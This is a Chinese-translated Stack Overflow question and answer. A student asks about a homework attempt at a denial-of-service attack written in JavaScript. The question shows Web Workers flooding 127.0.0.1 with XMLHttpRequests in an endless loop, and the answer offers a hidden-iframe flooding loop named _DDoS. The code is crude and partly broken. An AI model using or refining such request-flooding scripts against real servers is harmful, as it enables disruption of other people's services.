使用 WebWorkers 的 JavaScript DoS 攻击
Posted
技术标签:
【中文标题】使用 WebWorkers 的 JavaScript DoS 攻击【英文标题】:JavaScript DoS attack using WebWorkers 【发布时间】:2017-08-26 13:14:36 【问题描述】:在大学里,我们做了一项“家庭作业”来尝试执行拒绝服务攻击。我决定采取与其他人不同的方式。我尝试使用 javascript 执行它。
问题是:
这甚至可能吗? 如果我在环回上执行 HttpRequest,我会看到由于 http 端口溢出导致任何网站无法访问的结果吗? 有没有比我更好的代码来做到这一点?index.html:
<script>
for(var i = 0; i< 50; i++)
worker = new Worker("worker.js");
worker.postMessage('Hello World');
</script>
worker.js:
self.addEventListener('message', function(e)
while(1)
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function()
if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
callback(xmlHttp.responseText);
xmlHttp.open("GET", "http://127.0.0.1", true);
xmlHttp.send(null);
, false);
感谢您的任何意见!
【问题讨论】:
我不确定,但这比远程服务器更可能导致您自己的计算机崩溃(如果您选择 localhost 以外的服务器)while(1)
当您运行显示的代码时发生了什么? while(1)
的浏览器很酷吗?
@nnnnnn 浏览器似乎很好,因为网络工作者在幕后完成了所有工作。在开发人员工具中,您可以清楚地看到正在发送请求,但是我可以毫无问题地访问任何我想要的网站。
这属于 codereview.stackexchange.com 或 security.stackexchange.com。
【参考方案1】:
首先,如果我可以改进这段代码,我会使用 setInterval 而不是 while(1)。其次,我在这里找到了一个更简单的版本:
function _DDoS(url)
document.body.innerhtml+='<iframe src="'+url+'" style="display:none;"> </iframe>';
for(;;)
setTimeout(_DDoS("http://localhost"),10);
只要搜索 javascript ddos 就会发现很多例子
【讨论】:
以上是关于使用 WebWorkers 的 JavaScript DoS 攻击的主要内容,如果未能解决你的问题,请参考以下文章